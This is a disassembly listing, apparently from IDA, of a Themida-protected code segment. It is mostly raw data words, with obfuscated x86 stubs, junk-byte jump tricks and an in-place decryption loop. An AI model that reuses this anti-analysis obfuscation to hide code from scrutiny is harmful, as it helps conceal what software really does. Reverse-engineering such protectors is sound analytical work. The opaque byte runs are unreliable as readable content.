dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CEE0C356h
dd 0E7226ACBh, 817E6B9Dh, 83EB28E3h, 0C233AD5Bh, 0D003E8D1h
dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 45B81A70h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 0A7C35747h, 0DF3E37F9h, 8B56E9CAh
dd 0A800E1BDh, 880DF506h, 66000000h, 0F2D57BBh, 0E82h
dd 9E900h, 3E400000h, 7BB65912h, 8BC4B8B3h, 0A805B995h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0FA201C93h, 0BD8BCDE2h, 6A810F5h, 14698D8Bh
dd 8B6606A8h, 0C28B50DEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 6A58188Bh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0F66AC350h, 2005BD8Bh, 6A06A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0F5678C3h, 584h, 0F248BF00h, 835F6815h, 0A80C91BDh
dd 840F0006h, 84h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 7BC35646h, 5C3058ECh, 0B3CF8137h, 0B833D2BEh
dd 0
; ---------------------------------------------------------------------------
mov edi, [ebp+6A816EDh]
lea ecx, [ebp+6A84FAFh]
push 0
push ebx
call sub_59C7D3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59C7D3 proc near ; CODE XREF: Themida_:0059C7CBp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_59C7D3 endp
; ---------------------------------------------------------------------------
align 4
movsd
add dl, [ebp-13h]
pusha
mov [ebp+6A8168Dh], esi
jmp ecx
; ---------------------------------------------------------------------------
push 0
push edx
call sub_59C7FC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59C7FC proc near ; CODE XREF: Themida_:0059C7F4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_59C7FC endp
; ---------------------------------------------------------------------------
dd 0BBACEC2Fh, 35590DDDh, 0BBDBD83h, 0F0006A8h, 4AE84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0B0BBB57h, 81496E3Bh, 0F3F135CFh, 0BFDE8A5Ch
dd 6D1260C8h, 0BBDBD83h, 0F0106A8h, 48D84h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0F1CF19Fh, 0F85h, 0AE900h, 7BC00000h, 40CBAC55h, 91721D8Fh
dd 0F817DB81h, 60522733h, 0D5EBC781h, 5E5133EAh, 0BD835F61h
dd 6A80BBDh, 5860F03h, 81000004h, 0B209D2F7h, 6A6038h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 358500C3h, 69B4A899h, 0EB01BBDEh, 8C6666E1h, 51006AD9h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 68AF9117h, 81AF0083h, 509F1FC7h, 8E932h, 505A0000h
dd 3D7627Dh, 0E180F870h, 0C90AF904h, 193840Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 858B40C3h, 6A80BE1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 9AC35141h, 0E9608F27h, 5, 0F7712A29h
dd 9DB531FCh, 6106A80Ah, 1D5D8533h, 6A06A8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0FC63F0C3h
dd 23205BEh, 33F99589h, 8A9006A8h, 0BB6650FCh, 0E890015Dh
dd 0Eh, 0E6B4FFD4h, 0DC26287Dh, 547AA39Fh, 9D296714h, 6A80F8Dh
dd 6A006A5Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 4F29C355h, 12A63857h, 0F30C3B51h
dd 1EDD9D89h, 852906A8h, 6A819C5h, 4E8h, 1F03FF00h, 0EE95000h
dd 15000000h, 158BB6A9h, 1BE08953h, 8372A7D0h, 24448BD2h
dd 0FB8B6604h, 0D98B008Bh, 4244489h, 14E9h, 0B1382800h
dd 728ADFFEh, 92B23FE8h, 92685834h, 0E5334C02h, 0BE858FBh
dd 18000000h, 7B163B93h, 0E8ACA4D3h, 0BD2B84E9h, 6A82BD9h
dd 4195FF5Bh, 8906A807h, 0A8289995h, 27858906h, 6A06ABA2h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8171C350h, 0A54CC3C7h, 1CBE97Ah, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 24D470C3h, 813653ECh, 58D7E5CFh, 1F858B41h, 6A06ABA2h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 7749C352h, 0D78132F7h, 5E4C0EC3h, 1800C7h
dd 85890000h, 6A833E1h, 0A223B58Bh, 858906ABh, 6A81755h
dd 2B7D858Bh, 0DE906A8h, 6B000000h, 152925ABh, 0B1077759h
dd 0E13C8EB3h, 689DC8Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0F0C35141h, 5928F6EFh, 0BFADB8Ch, 0CAE0D781h
dd 0B70F1D8Ch, 0E1858BDBh, 6606A80Bh, 0ACE2DB81h, 89044689h
dd 0A82DC58Dh, 880F5006h, 3, 89D98B66h, 6A2434h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0DB79B2C3h, 5899D01h, 0B5FF06A8h, 6ABA21Fh, 688FDF80h
dd 676BBDAEh, 5FF98B52h, 51243481h, 0F6774BEh, 88h, 27858D00h
dd 6A06ABA2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 7964C356h, 9AFF3A95h, 0FE9547Ch
dd 89000000h, 0C4E8E129h, 1571B8B6h, 0D48AD1B1h, 0E950F936h
dd 14h, 0EDD4375Fh, 0D128BEA9h, 0AF216343h, 9193CE38h
dd 93DE7173h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0F7C0C353h, 66562105h
dd 2CCDEF81h, 4195FF5Fh, 6A06A807h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7B53C356h
dd 6C41937Eh, 0CA57412Ch, 9D98B66h, 0A826799Dh, 0BD8B6106h
dd 6A80C3Dh, 0BBD85C7h, 306A8h, 830F0000h, 4, 41E5BB66h
dd 0A227BD83h, 0F0006ABh, 3384h, 0F19D8B00h, 0E906A821h
dd 43h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
dd 1EC35646h, 0C4B9ADECh, 8B166131h, 0F9BF0FF9h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 6BA4C350h, 2890F07h, 0B7000000h, 199D8BA4h, 8306A830h
dd 0A80BBDBDh, 850F0306h, 409h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0D4C35343h, 27BD83D9h, 6ABA2h
dd 3DF840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 1BE467C3h, 8A922084h, 12E8h, 4B14C800h
dd 15A2C39Bh, 8EC7D1E4h, 92D253A8h, 510F5514h, 0C1CF8166h
dd 0FF5F5FABh, 0ABA227B5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F0A57E35h
dd 0FFEB1E9Ch, 0A815F995h, 10E906h, 64BD0000h, 0F723400Fh
dd 819643EEh, 7F0C6782h, 8BF54FEFh, 0ABA21BB5h, 106C706h
dd 6A000100h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 0DE1FC357h, 19EE0DF1h, 6840F41h
dd 9000000h, 0A80A8585h, 0CE95006h, 69000000h, 0D45E569Fh
dd 7E4356BAh, 899CCEABh, 95892434h, 6A827D1h, 19F19D0Bh
dd 0B5FF06A8h, 6ABA227h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0BDC35040h, 95FFD9BBh, 6A82199h, 3391B529h
dd 0B58B06A8h, 6ABA21Bh, 26BD9D8Bh, 858B06A8h, 6A80E41h
dd 0C48689F9h, 89000000h, 0A80BD9BDh, 0B9958B06h, 0F06A805h
dd 9D03FAB7h, 6A82671h, 8B04C283h, 205089FAh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7AC35242h, 0A587DD50h
dd 898F293Fh, 0A80BCD8Dh, 0CE858D06h, 6A06ABB7h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 0BAA4C355h, 1A299D2Bh, 0B70F06A8h, 0B88689DEh, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 544FC350h, 5AC781EBh, 6A5BFFBDh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0DCF5A4FAh, 27B5FF34h, 6A06ABA2h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2346C352h
dd 0A80F719Dh, 1D95FF06h, 8906A81Eh, 0A8321985h, 34895006h
dd 13E824h, 0C2D50000h, 0E991C95Ah, 0DED5A203h, 1F4CAE2Fh
dd 0BFBDCCC2h, 0FBBF0F0Fh, 27B5FF5Bh, 6A06ABA2h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 3326C353h, 0A81DB1BDh, 6995FF06h, 6606A82Ah, 0BD83DA8Bh
dd 6A82E3Dh, 48840F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B07C352h
dd 0A81019BDh, 60509606h, 51BA6656h
dd 0F605959h, 87h, 61EFB200h, 0CE99661h, 0BF000000h, 27149489h
dd 0A7AE9819h, 0FF8FAEF0h, 0ABA227B5h, 54C78106h, 815A1A86h
dd 2373CCD7h, 8595FF27h, 6A06A831h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2CB7C350h
dd 68CC3FE2h, 898C3536h, 0A82075BDh, 27B5FF06h, 6A06ABA2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 0C0AAC355h, 2089B589h, 8B6606A8h, 5595FFFEh
dd 6606A80Fh, 24A2DB81h, 77DBD83h, 0F0206A8h, 6984h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 39A48E8Bh, 8BDAB70Fh, 0A80D1985h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 97BBC302h
dd 0C6F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 31C35141h, 85C7B5B1h, 6A80DC1h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_59D12F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59D12F proc near ; CODE XREF: Themida_:0059D127p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_59D12F endp
; ---------------------------------------------------------------------------
db 0E3h
dd 6D62C3DBh, 9E75C9C6h, 0F2BBE9D0h, 830FFFFFh, 3, 8BFB8B66h
dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 9BB0D6Ch, 5F5FD72Eh, 0D8D8D57h, 6A06AD38h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 538BC351h, 0C6F680A7h, 5B98D89h, 0C7FC06A8h
dd 0A8146985h, 5B0006h, 20DC8000h, 16ADBD8Bh, 85C706A8h
dd 6A80BBDh, 0
; ---------------------------------------------------------------------------
mov ebx, [ebp+6A83055h]
push dword ptr [ebp+6A814A1h]
jmp loc_59D1E3
; ---------------------------------------------------------------------------
db 0ADh, 68h, 91h
dd 0D9700A7Ah
; ---------------------------------------------------------------------------
mov dh, 0FBh
popa
loc_59D1E3: ; CODE XREF: Themida_:0059D1D4j
mov esi, 59F673E0h
call dword ptr [ebp+6A820DDh]
push 0
push edx
call sub_59D1F9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59D1F9 proc near ; CODE XREF: Themida_:0059D1F1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_59D1F9 endp
; ---------------------------------------------------------------------------
db 93h, 0B5h, 9
dd 0A5BBF250h, 6A5E65EFh, 3195FF00h, 8B06A81Bh, 8329EBC0h
dd 20D3F7EEh, 4BA37E0Bh, 3416098h, 7AB98BBAh, 0B7DC3E62h
dd 0F3AAFA18h, 1E8A6316h, 6ADDC589h, 726728C4h, 2AF47A43h
dd 39378D8Dh, 9FC06ADh, 0A8066D95h, 0B98D8906h, 6A06A805h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 59BEC350h, 0BE68354Ah, 6B5EAD68h, 146985C7h
dd 6B3C06A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 96B6AAC3h, 66507D1Eh, 0C7CC14BFh
dd 0A80BBD85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0F916D990h, 818E5E70h
dd 0EFAAA8EAh, 899D3136h, 0FF06A819h, 0A80E01B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 3D36E0CEh, 0CCBE655Fh, 894BF480h, 0A814B5B5h, 0DD95FF06h
dd 6A06A820h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0C845C356h, 0FF006A5Ch, 0A81B3195h
dd 0EBC08B06h, 6EE57C49h, 0A1DB29D3h, 0AD9D4901h, 710BA900h
dd 0C26950E6h, 324E9626h, 2A29D05Dh, 72FCF771h, 0BBEB421Ah
dd 528FEF3Fh, 2AED27A8h, 1CCAD85Dh, 0BB2973C9h, 42C61495h
dd 49BEEDFh, 9E067F6h, 51F573D5h, 0C07F17D4h, 3D20F585h
dd 322006B7h, 33900E36h, 0CB080136h, 2401B41Dh, 0BE64079Eh
dd 320FE8EEh, 6FD40136h, 214EDF64h, 7DEA3CB5h, 0A6281458h
dd 0B607059Eh, 320400E2h, 0B114EEB6h, 9A16248Bh, 0B68F0130h
dd 32400141h, 0DA75015Ch, 32100135h, 6FCB5C16h, 36206DBFh
dd 362645B7h, 3201012Bh, 0F2435473h, 63D6D21Bh, 1FCA8E41h
dd 3217E813h, 0CFAC0136h, 82512696h, 0DB626173h, 32010124h
dd 5A315B6Ch, 0B9DBB93h, 0CCE250EDh, 0B4C6B7DCh, 8D07ACB2h
dd 0B96260C6h, 5FEB60C4h, 58010137h, 31685336h, 12400136h
dd 0BB7AC26Ch, 0B3142562h, 270C2572h, 70040136h, 0E2F9C264h
dd 62FF8A50h, 3609DEBDh, 8BD58812h, 3D26A923h, 0CC344D37h
dd 28D19405h, 0BB5C079Eh, 9A28D4A3h, 0F5806730h, 0F2031720h
dd 8FD5881Ah, 0B926A926h, 395883Eh, 540EA93Bh, 58F849BDh
dd 31EA5336h, 12010136h, 0BBDAC26Ch, 0B3442562h, 25242572h
dd 70100136h, 43AC264h, 8D0B6569h, 0B8367C6h, 0B60EFE00h
dd 3280019Dh, 1019BCBDh, 0F3A3079Eh, 64106B3Fh, 320802DEh
dd 0F15A2136h, 16768868h, 16458032h, 32801C32h, 0F1164736h
dd 9345794Dh, 0EB5C91DDh, 0CA8342FCh, 3DED38B6h, 3202AEB3h
dd 4BB43036h, 0B986A931h, 322A0077h, 3223E963h, 6F300136h
dd 5E815CF5h, 76850512h, 321E0512h, 67440136h, 600536F5h
dd 34E8D20h, 0BF09AFBDh, 34B807B7h, 31F38A50h, 8C62F8FEh
dd 0F38189C7h, 63016B33h, 328002DEh, 0F1192136h, 166C886Fh
dd 16548032h, 32081932h, 0F1554036h, 2D4F18D4h, 0A23880ABh
dd 3D0B427Dh, 324042B3h, 4F952836h, 0BF16A916h, 9A47AEBBh
dd 31BCF930h, 58020136h, 31E95236h, 12800136h, 0BB1BC26Dh
dd 0B324256Ah, 2B142572h, 71080136h, 33CBC265h, 7CD90159h
dd 67D8BE50h, 3349BC3Fh, 0D3BF079Eh, 0C65BBF50h, 321CE857h
dd 0DD930136h, 0F4A3A1Dh, 3E5CBFD1h, 8F8C42B2h, 342D38B3h
dd 9F98CBBh, 4698079Bh, 11193B5h, 9A0D8CB3h, 0F3CB2A30h
dd 3D2003DFh, 322006B7h, 33900E36h, 0CB080136h, 2401B41Dh
dd 0BE64079Eh, 0E983E8EEh, 8BA4F305h, 79BD8BC0h, 2B06A809h
dd 0A815899Dh, 0E9C38B06h, 0Ch, 1FB17B57h, 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_59DB80
; ---------------------------------------------------------------------------
add esp, [ebp+ebp-67h]
sbb ss:[esi+ecx*8+65h], ebx
retn
; ---------------------------------------------------------------------------
db 8Ah
dd 0BAFF933Ch, 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h
dd 8ABFFB6h, 0E9E2C65h, 126EAADCh, 1654B605h, 155CFF29h
dd 276E0EF1h, 9477A1FAh, 0A2E6204Eh, 60AF57D7h, 0B1E913B7h
dd 93AF57D6h, 8EAF70B8h, 0B9DC47C3h, 77850711h, 4FF9D3A5h
dd 0AF581A4Bh, 4C251E39h, 561F3EE7h, 7E3B58C9h, 48E94231h
dd 0DF6B2241h, 6D99D074h, 97CBE7EBh, 1D40AB29h, 573D7B54h
dd 0E58948ECh, 0B96AB7A0h, 0CD36D499h, 0E484E5A0h, 811700ADh
dd 0AAE38122h, 50F89C05h, 0E36BFCEBh, 1499721Bh, 0F180219Eh
dd 703CE5CEh, 0D278B0CAh, 0E14AAF58h, 0D44E8B7h, 0F37716B9h
dd 58D25149h, 0B5F517AFh, 8FAF58D1h, 0DD0922A4h, 58D26FABh
dd 1FA55AFh, 0EE18469Ch, 0AF58D1AAh, 0EF79BF98h, 0AF58D1A8h
dd 1E1C8512h, 12DF2D22h, 5B236BEDh, 0E1E85253h, 4085B7h
dd 0FF9E0000h, 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h
dd 965h, 0F3947F00h, 625B1236h, 52FFED36h, 74198A17h, 1F33EC31h
dd 8D7ED55Ah, 35701D24h, 662F4EF1h, 0BFD93A20h, 0B8F595F6h
dd 5EFF2B70h, 78158E13h, 22FF03Dh, 2549DA47h, 420BC360h
dd 9A61307Eh, 3BE4D1F0h, 638955BCh, 5852E1D9h, 0EAA3C2AFh
dd 0B9925445h, 52BFFB0Dh, 0AA85AF58h, 50C950Eh, 7BFD2964h
dd 7286111h, 9D87B04Ah, 0D2388216h, 0DDE09D98h, 2A8E67EFh
dd 2AFE685h, 0B25A92E4h, 0CC032D18h, 64A5C36Ch, 8218EC3h
dd 452E921Fh, 0C712DEDCh, 793512DFh, 0E000000h, 8E135EFFh
dd 0F53A7315h, 0D9460B2Ch, 0C26F2A48h, 0D7A6E224h, 0B39CAF57h
dd 0EE6D36BDh, 0B55DE4Fh, 0D85F5BEDh, 0A25AF57h, 2D6001AEh
dd 95153699h, 57D83773h, 49220DAFh, 0D510329Dh, 0A300F9B4h
dd 322B6202h, 0F69C05E6h, 218A6EB3h, 8BBA3C80h, 0CABCB98h
dd 0AE4AEE4Ah, 0A912DFDEh, 50h, 135EFF72h, 3E77158Eh, 4BD4DFF1h
dd 0D86E2344h, 0F8BDD132h, 0ED3662BBh, 0FC9F52FFh, 9757DCB5h
dd 0AF57D790h, 0FB387113h, 0DF44092Ah, 0D6C1F903h, 0A883AF57h
dd 94238C29h, 2E43ACDAh, 3D5DC66Bh, 0BA118770h, 0D60DF9F9h
dd 1E812DFh, 33000000h, 0B5A930BAh, 38474385h, 123DAF58h
dd 156986D8h, 0D47C1C83h, 82C44E6Ah, 0AF589F86h, 191BD37Ch
dd 0F72EB819h, 1C266798h, 0CE57DCB5h, 0B6B9E6AFh, 0EB8D941Dh
dd 71A364A2h, 54F61CCAh, 0AF58D154h, 4993052Eh, 0DD9C3Fh
dd 60CD66B6h, 51D59CBFh, 0DBE74FEEh, 0FFDE9B20h, 0DF1F847Dh
dd 0B600EDD9h, 2E913F25h, 7CBC460Fh, 27B600EEh, 91BA4C05h
dd 0FC03AC07h, 298A1059h, 3CA7430Ah, 0DDCE5316h, 9172E85Bh
dd 2677BCF1h, 470E2DF2h, 35FE57DAh, 0C0460F2Eh, 76C17854h
dd 1209F14h, 7E610000h, 1A0197DEh, 0D80EB5E7h, 723AEh
dd 0E936E1B6h, 0CE5C1538h, 228FC665h, 6ABE281h, 82892A83h
dd 0DA7C67E3h, 0E9110A97h, 0B60006B1h, 450C3093h, 8737736Ch
dd 1477E6ABh, 3872h, 0B6E7D500h, 4DADDF0Bh, 372F57D7h
dd 5357971Ch, 452F57D7h, 5910349Fh, 0FE55C3D4h, 3A853635h
dd 8E38668Ch, 2F57D78Ah, 8F59DF78h, 0AF57D76Bh, 27A8FE59h
dd 0AAh, 0EB5E702h, 0EE14B2D8h, 57D75C5Ch, 0C50D26AFh
dd 0AF57D6C5h, 33761CBFh, 7508DE5Ah, 4FB6000Ah, 0BDDDC6E4h
dd 3E7AB3F0h, 0D16B914Dh, 0B60009D9h, 872880ABh, 0B619ADE4h
dd 8951DE97h, 0B6000B8Ch, 2B32F3F8h, 0E1A4C908h, 0AB09B208h
dd 264CEA10h, 0B4A4EF8h, 1F38B600h, 0AB3F7h, 72A691B6h
dd 0AD469BF4h, 0C1624DBCh, 0C1E22C8Ch, 0DB7AEBA2h, 0AB74B992h
dd 9D5CC188h, 0DC706F30h, 0D3254367h, 7E79D9F9h, 8BAC1D6Dh
dd 0E84059C6h, 5ABC011Eh, 0FB9E7C3h, 0C35ABC0Bh, 34DA5EF9h
dd 0BC74B4D6h, 6D4EC35Ah, 0B5AE87CEh, 0B5E74A71h, 8B2D80Eh
dd 0AF57D710h, 15DF59F2h, 5129EF3h, 66CB64B6h, 814A7EF8h
dd 2FBA9008h, 4E072689h, 0F10A5E98h, 6520F548h, 60539C23h
dd 9206FF47h, 42E1C228h, 0B1AAEF83h, 5454F66Ch, 2EB605A6h
dd 238C2C05h, 7EE44900h, 0A672B6D0h, 0E750B605h, 0E11EB7B1h
dd 0C6B7CF21h, 7E37565Dh, 0A0982248h, 62CF21E1h, 0AFEB1DC9h
dd 95CF21E0h, 6E947EBAh, 7B85FBECh, 3D7BD8DCh, 6C9AD372h
dd 158484C6h, 0D57ECF22h, 133FE043h, 0AD06C956h, 175EFD04h
dd 440D3093h, 1466DFh, 0B0410000h, 0B86AEC0Ah, 7A59A6AEh
dd 72DADEF8h, 8FA8AF58h, 58FF0229h, 70138C11h, 92BF439h
dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h
dd 92BF60CDh, 50FA4AD7h, 4055854h, 83000000h, 48704E8h
dd 6A685C24h, 8900001Bh, 0F568243Ch, 8900000Bh, 6853241Ch
dd 6F5335E5h, 83241C8Bh, 0C38104C4h, 1086279Fh, 18DC381h
dd 0D3F72BF8h, 9B0EC381h, 0DF89B27Eh, 2FED685Bh, 24890000h
dd 24048124h, 4, 4EC835Bh, 89242C89h, 86B89FDh, 241C8B5Dh
dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0FF5C240Ch, 835F2434h
dd 53E904C4h, 38FFFB3Ch, 41D8AA91h
; ---------------------------------------------------------------------------
loc_59DB80: ; CODE XREF: Themida_:0059D604j
mov eax, 6AD40EEh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 91h, 0EEh, 96h
dd 34A0EC62h, 0EA532E72h, 8A5F5C15h, 0B918D562h, 0E3B02861h
dd 0A97FCE79h, 0D1608369h, 0B26C8E28h, 0E76F4C7Ch, 3162FF19h
dd 7D2AFC69h, 68973A0Ah, 6257F06Ch, 73525B7Bh, 12C3A921h
dd 9558CC60h, 97AFB21Ch, 0DD5E5108h, 0FE57DB1Fh, 82E30948h
dd 0C0BA0E47h, 0C67C46Ah, 2090C76h, 0D3578A74h, 23168106h
dd 33322E47h, 0AA9C9F5Ch, 0AD33853Eh, 8BA20A39h, 1AE6F131h
dd 0BE8D8D12h, 6A06AD42h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 9486C356h, 1E04038Bh
dd 0FA9B7C3h, 0FE9C3B7h, 18000000h, 97BC2317h, 0B18B3204h
dd 76039DCFh, 8D8946D6h, 6A805B9h, 6860Fh, 0B5010000h
dd 6A83229h, 146985C7h, 746C06A8h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BDF347C3h
dd 9F59AD0Ch, 3554D281h, 85C70F51h, 6A80BBDh, 0
; ---------------------------------------------------------------------------
pusha
movzx edi, cx
jns loc_59DCA4
mov esi, [ebp+6A80D39h]
loc_59DCA4: ; CODE XREF: Themida_:0059DC98j
popa
mov ax, bx
push dword ptr [ebp+6A82A11h]
mov bx, 90D2h
call dword ptr [ebp+6A820DDh]
mov [ebp+6A810F1h], edx
js $+6
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_59DCDD
; ---------------------------------------------------------------------------
dd 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h
db 0E6h
; ---------------------------------------------------------------------------
loc_59DCDD: ; CODE XREF: Themida_:0059DCCEj
call near ptr sub_59DCF1
push esp
inc esp
mov al, 0DAh
dec esi
scasb
cmp eax, 0EE194587h
lodsd
adc ebp, [eax]
in al, dx
; =============== S U B R O U T I N E =======================================
sub_59DCF1 proc far ; CODE XREF: Themida_:loc_59DCDDp
mov [ebp+6A819DDh], esi
pop esi
or dx, 7C12h
add esi, 5B35h
adc dh, 47h
mov edi, 0
or [ebp+6A814C9h], edx
loc_59DD11: ; CODE XREF: sub_59DCF1+99j
mov eax, [esi+edi]
movzx edx, si
add eax, 3E89B8B4h
mov ebx, ecx
add eax, 34C175A0h
sub ebx, [ebp+6A8215Dh]
add eax, 72676D74h
mov ch, bh
mov [esi+edi], eax
mov dl, 5Bh
mov dx, si
sub edi, 1A1A6685h
cld
add edi, 1A1A6681h
jmp loc_59DD61
; ---------------------------------------------------------------------------
align 2
dw 669Bh
dd 0C4EE3E64h, 0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h
db 7Eh
; ---------------------------------------------------------------------------
loc_59DD61: ; CODE XREF: sub_59DCF1+57j
cmp edi, 0FFFFA580h
jnz loc_59DD87
mov edx, 2C2AF22Ch
jmp loc_59DD9B
; ---------------------------------------------------------------------------
db 0CEh
dd 6FC4BF4Ch, 0BDAF8C0Dh, 0D978BF10h
db 2Eh, 27h, 43h
; ---------------------------------------------------------------------------
loc_59DD87: ; CODE XREF: sub_59DCF1+76j
adc bl, 0A2h
jmp loc_59DD11
; ---------------------------------------------------------------------------
db 0E3h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
test eax, 0ACF28DCh
mov bl, 19h
fdivr qword ptr [eax-34h]
loc_59DD9B: ; CODE XREF: sub_59DCF1+81j
jmp loc_59DDA7
; ---------------------------------------------------------------------------
dd 6D6E87EDh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_59DDA7: ; CODE XREF: sub_59DCF1:loc_59DD9Bj
jmp loc_59E2D2
; ---------------------------------------------------------------------------
dd 2A703960h, 65A1E489h, 53D79EBAh, 830742F0h, 0F4327F20h
dd 0A7C84A6Fh, 53F35CEAh, 527881Eh, 3655FE4Ch, 0A9B32B7Fh
dd 51A1B1Fh, 84A3E9B6h, 88155CFFh, 54F67617h, 0AF57D754h
dd 0FE2C052Eh, 0FE3A7315h, 0C188AB14h, 0E9A0C35Ch, 0F3B6DB44h
dd 0FF57F5AEh, 189E9BE0h, 61CEA7BEh, 4ED39EC0h, 0BEFDB8D5h
dd 0EE1864CDh, 0AF582EAAh, 57C6BF98h, 41082C97h, 0ACB37CD7h
dd 0D97AC089h, 94D97ABBh, 0E1251E0Fh, 0CA571E3Eh, 0FB93959h
dd 0AF582F0Bh, 41ED5EF9h, 1D862B04h, 36EF3471h, 13D65B12h
dd 577AF9BAh, 0CD84A40Fh, 0AE13760h, 682A2A9h, 582EC4C4h
dd 0BC95BEAFh, 0C803CC0Eh, 61454A73h, 2E9F88CDh, 6ED44401h
dd 42EFA6C5h, 58A87DB8h, 47E8CFAFh, 0DF075F4Bh, 2D9612h
dd 2447D845h, 0FED7C06Dh, 6198BAh, 0FFA30000h, 6AAED85Ch
